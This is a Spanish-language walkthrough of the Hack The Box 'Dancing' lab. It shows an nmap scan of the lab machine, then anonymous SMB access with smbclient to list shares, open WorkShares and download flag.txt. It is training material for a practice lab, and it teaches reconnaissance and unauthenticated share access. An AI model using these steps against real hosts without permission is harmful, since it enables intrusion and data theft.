



# Dancing (Windows)

Primero que nada vamos a escanear los puertos abiertos de la dirección IP: 10.128.180.217

Y cómo resultado del escaneo de NMAP nos encontramos con la siguiente información.

```
root@kali:/home/kali/Desktop/HackTheBox/StartingPoint/Dancing# cat scanPorts.txt
# Nmap 7.94 scan initiated Wed Oct 11 14:37:19 2023 as: nmap -sC -sV -oN scanPorts.txt 10.129.180.217
Nmap scan report for 10.129.180.217
Host is up (0.042s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-time:
|   date: 2023-10-11T22:37:37
|_  start_date: N/A
|_ smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_  clock-skew: 3h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 11 14:37:43 2023 -- 1 IP address (1 host up) scanned in 23.93 seconds
root@kali:/home/kali/Desktop/HackTheBox/StartingPoint/Dancing#
```

HTB ↑ 21m 1 VPN 2 Scanning

Encontramos que el servidor SMB está abierto en el puerto 445, así que vamos a hecharle un vistazo:

Para tratar de conectarnos al servidor utilizaremos el siguiente comando:

```
smbclient \\\\10.128.180.217
```

Y cómo output nos encontramos con la siguiente información:

```

Password for [WORKGROUP\root]:

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
WorkShares     Disk

```

Al ver que tenemos el directorio WorkShares, trataremos de conectarnos, ya que hemos visto que no tenemos que introducir ningún tipo de contraseña.

Así que vamos a ver que sale:

```
smbclient \\\\10.128.180.217\WorkShares
```

Y vemos que nos encontramos con los siguientes directorios:

```

smb: \> ls
.                D          0  Mon Mar 29 04:22:01 2021
..              D          0  Mon Mar 29 04:22:01 2021
Amy.J           D          0  Mon Mar 29 05:08:24 2021
James.P         D          0  Thu Jun  3 04:38:03 2021

5114111 blocks of size 4096. 1732062 blocks available

```

Así que si entramos a los dos diferentes directorios con un 'cd', veremos que encontraremos el archivo flag.txt, el cual descargaremos con el siguiente comando:

```
get flag.txt
```

Y ya estaría, ¡ya tenemos la flag del usuario root!